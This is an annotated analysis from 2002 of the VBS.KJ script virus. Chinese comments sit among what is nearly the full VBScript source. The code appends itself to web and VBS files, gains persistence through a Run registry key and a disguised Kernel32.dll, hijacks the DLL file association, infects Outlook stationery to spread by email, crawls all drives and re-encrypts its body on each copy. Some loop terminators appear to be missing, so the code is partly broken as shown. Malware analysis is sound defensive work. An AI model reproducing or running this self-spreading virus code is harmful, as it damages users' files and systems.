VBS.KJ[新欢乐时光] - 源代码分析

' Virus: VBS.KJ

' Analyze by dancefire (DanceFire@263.net)

' 2002/7/10

Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk

Sub KJ_start()

' 初始化变量

KJSetDim()

' 初始化环境

KJCreateMilieu()

' 感染本地或者共享上与html所在目录

KJLikeIt()

' 通过vbs感染Outlook邮件模板

KJCreateMail()

' 进行病毒传播

KJPropagate()

End Sub

' 函数：KJAppendTo(FilePath,TypeStr)

' 功能：向指定类型的指定文件追加病毒

' 参数：

' FilePath 指定文件路径

' TypeStr 指定类型

Function KJAppendTo(FilePath,TypeStr)

On Error Resume Next

' 以只读方式打开指定文件

Set ReadTemp = FSO.OpenTextFile(FilePath,1)

' 将文件内容读入到TmpStr变量中

TmpStr = ReadTemp.ReadAll

' 判断文件中是否存在"KJ_start()"字符串，若存在说明已经感染，退出函数；

' 若文件长度小于1，也退出函数。

If Instr(TmpStr,"KJ_start()") <> 0 Or Len(TmpStr) < 1 Then

ReadTemp.Close

Exit Function

End If

' 如果传过来的类型是"htt"

' 在文件头加上调用页面的时候加载KJ_start()函数;

' 在文件尾追加html版本的加密病毒体。

' 如果是"html"

' 在文件尾追加调用页面的时候加载KJ_start()函数和html版本的病毒体;

' 如果是"vbs"

' 在文件尾追加vbs版本的病毒体

If TypeStr = "htt" Then

ReadTemp.Close

Set FileTemp = FSO.OpenTextFile(FilePath,2)

FileTemp.Write "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & TmpStr & vbCrLf & HtmlText

FileTemp.Close

Set FAttrib = FSO.GetFile(FilePath)

FAttrib.attributes = 34

Else

ReadTemp.Close

Set FileTemp = FSO.OpenTextFile(FilePath,8)

If TypeStr = "html" Then

FileTemp.Write vbCrLf & "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText

ElseIf TypeStr = "vbs" Then

FileTemp.Write vbCrLf & VbsText

End If

FileTemp.Close

End If

End Function

' 函数：KJChangeSub(CurrentString,LastIndexChar)

' 功能：改变子目录以及盘符

' 参数：

' CurrentString 当前目录

' LastIndexChar 上一级目录在当前路径中的位置

Function KJChangeSub(CurrentString,LastIndexChar)

' 判断是否是根目录

If LastIndexChar = 0 Then

' 如果是根目录

' 如果是C:\，返回FinalyDisk盘，并将SubE置为0，

' 如果不是C:\，返回将当前盘符递减1，并将SubE置为0

If Left(LCase(CurrentString),1) =< LCase("c") Then

KJChangeSub = FinalyDisk & ":\"

SubE = 0

Else

KJChangeSub = Chr(Asc(Left(LCase(CurrentString),1)) - 1) & ":\"

SubE = 0

End If

Else

KJChangeSub = Mid(CurrentString,1,LastIndexChar)

End If

End Function

' 函数：KJCreateMail()

' 功能：感染邮件部分

Function KJCreateMail()

On Error Resume Next

' 如果当前执行文件是"html"的，就退出函数

If InWhere = "html" Then

Exit Function

End If

' 取系统盘的空白页的路径

ShareFile = Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery\blank.htm"

' 如果存在这个文件，就向其追加html的病毒体

' 否则生成含有病毒体的这个文件

If (FSO.FileExists(ShareFile)) Then

Call KJAppendTo(ShareFile,"html")

Else

Set FileTemp = FSO.OpenTextFile(ShareFile,2,true)

FileTemp.Write "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText

FileTemp.Close

End If

' 取得当前用户的ID和OutLook的版本

DefaultId = WsShell.RegRead("HKEY_CURRENT_USER\Identities\Default User ID")

OutLookVersion = WsShell.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\MediaVer")

' 激活信纸功能，并感染所有信纸

WsShell.RegWrite "HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Compose Use Stationery",1,"REG_DWORD"

Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Stationery Name",ShareFile)

Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Wide Stationery Name",ShareFile)

WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD"

Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank")

Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank")

WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD"

Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Common\MailSettings\NewStationery","blank")

KJummageFolder(Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery")

End Function

' 函数:KJCreateMilieu()

' 功能：创建系统环境

Function KJCreateMilieu()

On Error Resume Next

TempPath = ""

' 判断操作系统是NT/2000还是9X

If Not(FSO.FileExists(WinPath & "WScript.exe")) Then

TempPath = "system32\"

End If

' 为了文件名起到迷惑性，并且不会与系统文件冲突。

' 如果是NT/2000则启动文件为system\Kernel32.dll

' 如果是9x启动文件则为system\Kernel.dll

If TempPath = "system32\" Then

StartUpFile = WinPath & "SYSTEM\Kernel32.dll"

Else

StartUpFile = WinPath & "SYSTEM\Kernel.dll"

End If

' 添加Run值，添加刚才生成的启动文件路径

WsShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32",StartUpFile

' 拷贝前期备份的文件到原来的目录

FSO.CopyFile WinPath & "web\kjwall.gif",WinPath & "web\Folder.htt"

FSO.CopyFile WinPath & "system32\kjwall.gif",WinPath & "system32\desktop.ini"

' 向%windir%\web\Folder.htt追加病毒体

Call KJAppendTo(WinPath & "web\Folder.htt","htt")

' 改变dll的MIME头

' 改变dll的默认图标

' 改变dll的打开方式

WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\","dllfile"

WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\Content Type","application/x-msdownload"

WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\DefaultIcon\",WsShell.RegRead("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon\")

WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\ScriptEngine\","VBScript"

WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\Shell\Open\Command\",WinPath & TempPath & "WScript.exe ""%1"" %*"

WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ShellEx\PropertySheetHandlers\WSHProps\","{60254CA5-953B-11CF-8C96-00AA00B8708C}"

WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ScriptHostEncode\","{85131631-480C-11D2-B1F9-00C04F86C324}"

' 启动时加载的病毒文件中写入病毒体

Set FileTemp = FSO.OpenTextFile(StartUpFile,2,true)

FileTemp.Write VbsText

FileTemp.Close

End Function

' 函数：KJLikeIt()

' 功能：针对html文件进行处理，如果访问的是本地的或者共享上的文件，将感染这个目录

Function KJLikeIt()

' 如果当前执行文件不是"html"的就退出程序

If InWhere <> "html" Then

Exit Function

End If

' 取得文档当前路径

ThisLocation = document.location

' 如果是本地或网上共享文件

If Left(ThisLocation, 4) = "file" Then

ThisLocation = Mid(ThisLocation,9)

' 如果这个文件扩展名不为空，在ThisLocation中保存它的路径

If FSO.GetExtensionName(ThisLocation) <> "" then

ThisLocation = Left(ThisLocation,Len(ThisLocation) - Len(FSO.GetFileName(ThisLocation)))

End If

' 如果ThisLocation的长度大于3就尾追一个"\"

If Len(ThisLocation) > 3 Then

ThisLocation = ThisLocation & "\"

End If

' 感染这个目录

KJummageFolder(ThisLocation)

End If

End Function

' 函数：KJMailReg(RegStr,FileName)

' 功能：如果注册表指定键值不存在，则向指定位置写入指定文件名

' 参数：

' RegStr 注册表指定键值

' FileName 指定文件名

Function KJMailReg(RegStr,FileName)

On Error Resume Next

' 如果注册表指定键值不存在，则向指定位置写入指定文件名

RegTempStr = WsShell.RegRead(RegStr)

If RegTempStr = "" Then

WsShell.RegWrite RegStr,FileName

End If

End Function

' 函数：KJOboSub(CurrentString)

' 功能：遍历并返回目录路径

' 参数：

' CurrentString 当前目录

Function KJOboSub(CurrentString)

SubE = 0

TestOut = 0

Do While True

TestOut = TestOut + 1

If TestOut > 28 Then

CurrentString = FinalyDisk & ":\"

Exit Do

End If

On Error Resume Next

' 取得当前目录的所有子目录，并且放到字典中

Set ThisFolder = FSO.GetFolder(CurrentString)

Set DicSub = CreateObject("Scripting.Dictionary")

Set Folders = ThisFolder.SubFolders

FolderCount = 0

For Each TempFolder in Folders

FolderCount = FolderCount + 1

DicSub.add FolderCount, TempFolder.Name

' 如果没有子目录了，就调用KJChangeSub返回上一级目录或者更换盘符，并将SubE置1

If DicSub.Count = 0 Then

LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1)

SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)

CurrentString = KJChangeSub(CurrentString,LastIndexChar)

SubE = 1

Else

' 如果存在子目录

' 如果SubE为0，则将CurrentString变为它的第1个子目录

If SubE = 0 Then

CurrentString = CurrentString & DicSub.Item(1) & "\"

Exit Do

Else

' 如果SubE为1，继续遍历子目录，并将下一个子目录返回

j = 0

For j = 1 To FolderCount

If LCase(SubString) = LCase(DicSub.Item(j)) Then

If j < FolderCount Then

CurrentString = CurrentString & DicSub.Item(j+1) & "\"

Exit Do

End If

LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1)

SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)

CurrentString = KJChangeSub(CurrentString,LastIndexChar)

End If

Loop

KJOboSub = CurrentString

End Function

' 函数：KJPropagate()

' 功能：病毒传播

Function KJPropagate()

On Error Resume Next

RegPathValue = "HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree"

DiskDegree = WsShell.RegRead(RegPathValue)

' 如果不存在Degree这个键值，DiskDegree则为FinalyDisk盘

If DiskDegree = "" Then

DiskDegree = FinalyDisk & ":\"

End If

' 继DiskDegree置后感染5个目录

For i=1 to 5

DiskDegree = KJOboSub(DiskDegree)

KJummageFolder(DiskDegree)

' 将感染记录保存在"HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree"键值中

WsShell.RegWrite RegPathValue,DiskDegree

End Function

' 函数：KJummageFolder(PathName)

' 功能：感染指定目录

' 参数：

' PathName 指定目录

Function KJummageFolder(PathName)

On Error Resume Next

' 取得目录中的所有文件集

Set FolderName = FSO.GetFolder(PathName)

Set ThisFiles = FolderName.Files

HttExists = 0

For Each ThisFile In ThisFiles

FileExt = UCase(FSO.GetExtensionName(ThisFile.Path))

' 判断扩展名

' 若是HTM,HTML,ASP,PHP,JSP则向文件中追加HTML版的病毒体

' 若是VBS则向文件中追加VBS版的病毒体

' 若是HTT,则标志为已经存在HTT了

If FileExt = "HTM" Or FileExt = "HTML" Or FileExt = "ASP" Or FileExt = "PHP" Or FileExt = "JSP" Then

Call KJAppendTo(ThisFile.Path,"html")

ElseIf FileExt = "VBS" Then

Call KJAppendTo(ThisFile.Path,"vbs")

ElseIf FileExt = "HTT" Then

HttExists = 1

End If

' 如果所给的路径是桌面，则标志为已经存在HTT了

If (UCase(PathName) = UCase(WinPath & "Desktop\")) Or (UCase(PathName) = UCase(WinPath & "Desktop"))Then

HttExists = 1

End If

' 如果不存在HTT

' 向目录中追加病毒体

If HttExists = 0 Then

FSO.CopyFile WinPath & "system32\desktop.ini",PathName

FSO.CopyFile WinPath & "web\Folder.htt",PathName

End If

End Function

' 函数KJSetDim()

' 定义FSO,WsShell对象

' 取得最后一个可用磁盘卷标

' 生成传染用的加密字串

' 备份系统中的web\folder.htt和system32\desktop.ini

Function KJSetDim()

On Error Resume Next

Err.Clear

' 测试当前执行文件是html还是vbs

TestIt = WScript.ScriptFullname

If Err Then

InWhere = "html"

Else

InWhere = "vbs"

End If

' 创建文件访问对象和Shell对象

If InWhere = "vbs" Then

Set FSO = CreateObject("Scripting.FileSystemObject")

Set WsShell = CreateObject("WScript.Shell")

Else

Set AppleObject = document.applets("KJ_guest")

AppleObject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")

AppleObject.createInstance()

Set WsShell = AppleObject.GetObject()

AppleObject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")

AppleObject.createInstance()

Set FSO = AppleObject.GetObject()

End If

Set DiskObject = FSO.Drives

' 判断磁盘类型

' 0: Unknown

' 1: Removable

' 2: Fixed

' 3: Network

' 4: CD-ROM

' 5: RAM Disk

' 如果不是可移动磁盘或者固定磁盘就跳出循环。可能作者考虑的是网络磁盘、CD-ROM、RAM Disk都是在比较靠后的位置。呵呵，如果C:是RAMDISK会怎么样？

For Each DiskTemp In DiskObject

If DiskTemp.DriveType <> 2 And DiskTemp.DriveType <> 1 Then

Exit For

End If

FinalyDisk = DiskTemp.DriveLetter

' 此前的这段病毒体已经解密，并且存放在ThisText中，现在为了传播，需要对它进行再加密。

' 加密算法

Dim OtherArr(3)

Randomize

' 随机生成4个算子

For i=0 To 3

OtherArr(i) = Int((9 * Rnd))

TempString = ""

For i=1 To Len(ThisText)

TempNum = Asc(Mid(ThisText,i,1))

'对回车、换行(0x0D,0x0A)做特别的处理

If TempNum = 13 Then

TempNum = 28

ElseIf TempNum = 10 Then

TempNum = 29

End If

'很简单的加密处理，每个字符减去相应的算子，那么在解密的时候只要按照这个顺序每个字符加上相应的算子就可以了。

TempChar = Chr(TempNum - OtherArr(i Mod 4))

If TempChar = Chr(34) Then

TempChar = Chr(18)

End If

TempString = TempString & TempChar

' 含有解密算法的字串

UnLockStr = "Execute(""Dim KeyArr(3),ThisText""&vbCrLf&""KeyArr(0) = " & OtherArr(0) & """&vbCrLf&""KeyArr(1) = " & OtherArr(1) & """&vbCrLf&""KeyArr(2) = " & OtherArr(2) & """&vbCrLf&""KeyArr(3) = " & OtherArr(3) & """&vbCrLf&""For i=1 To Len(ExeString)""&vbCrLf&""TempNum = Asc(Mid(ExeString,i,1))""&vbCrLf&""If TempNum = 18 Then""&vbCrLf&""TempNum = 34""&vbCrLf&""End If""&vbCrLf&""TempChar = Chr(TempNum + KeyArr(i Mod 4))""&vbCrLf&""If TempChar = Chr(28) Then""&vbCrLf&""TempChar = vbCr""&vbCrLf&""ElseIf TempChar = Chr(29) Then""&vbCrLf&""TempChar = vbLf""&vbCrLf&""End If""&vbCrLf&""ThisText = ThisText & TempChar""&vbCrLf&""Next"")" & vbCrLf & "Execute(ThisText)"

' 将加密好的病毒体复制给变量 ThisText

ThisText = "ExeString = """ & TempString & """"

' 生成html感染用的脚本

HtmlText ="<" & "script language=vbscript>" & vbCrLf & "document.write " & """" & "<" & "div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'>" & "<""&""" & "APPLET NAME=KJ""&""_guest HEIGHT=0 WIDTH=0 code=com.ms.""&""activeX.Active""&""XComponent>" & "<" & "/APPLET>" & "<" & "/div>""" & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "script language=vbscript>" & vbCrLf & ThisText & vbCrLf & UnLockStr & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "/BODY>" & vbCrLf & "<" & "/HTML>"

' 生成vbs感染用的脚本

VbsText = ThisText & vbCrLf & UnLockStr & vbCrLf & "KJ_start()"

' 取得Windows目录

' GetSpecialFolder(n)

' 0: WindowsFolder

' 1: SystemFolder

' 2: TemporaryFolder

' 如果系统目录存在web\Folder.htt和system32\desktop.ini，则用kjwall.gif文件名备份它们。

WinPath = FSO.GetSpecialFolder(0) & "\"

If (FSO.FileExists(WinPath & "web\Folder.htt")) Then

FSO.CopyFile WinPath & "web\Folder.htt",WinPath & "web\kjwall.gif"

End If

If (FSO.FileExists(WinPath & "system32\desktop.ini")) Then

FSO.CopyFile WinPath & "system32\desktop.ini",WinPath & "system32\kjwall.gif"

End If

End Function